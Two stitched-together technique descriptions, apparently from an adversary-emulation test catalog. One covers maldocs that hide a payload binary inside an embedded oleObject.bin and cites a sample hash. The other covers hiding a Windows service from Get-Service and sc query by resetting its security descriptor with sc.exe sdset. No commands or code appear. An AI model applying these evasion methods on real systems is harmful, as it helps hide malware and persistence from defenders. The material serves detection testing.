    This module extracts a binary (calc.exe) from inside of another binary. 

    In the wild maldoc authors will use this technique to hide binaries inside of files stored 
    within the office document itself. An example of this technique can be seen in sample

    f986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226

    This sample contains a document inside of itself. Document 1 is the actual maldoc itself, document 2
    is the same document without all the malicious code. Document 1 will copy Document 2 to the file system
    and then "peek" inside of this document and pull out the oleObject.bin file. Contained inside of this
    oleObject.bin file is a payload that is parsed out and executed on the file system.

  description: |
    The following technique utilizes sc.exe and sdset to change the security descriptor of a service and "hide" it from Get-Service or sc query.

    Upon successful execution, sc.exe creates a new service changes the security descriptor.
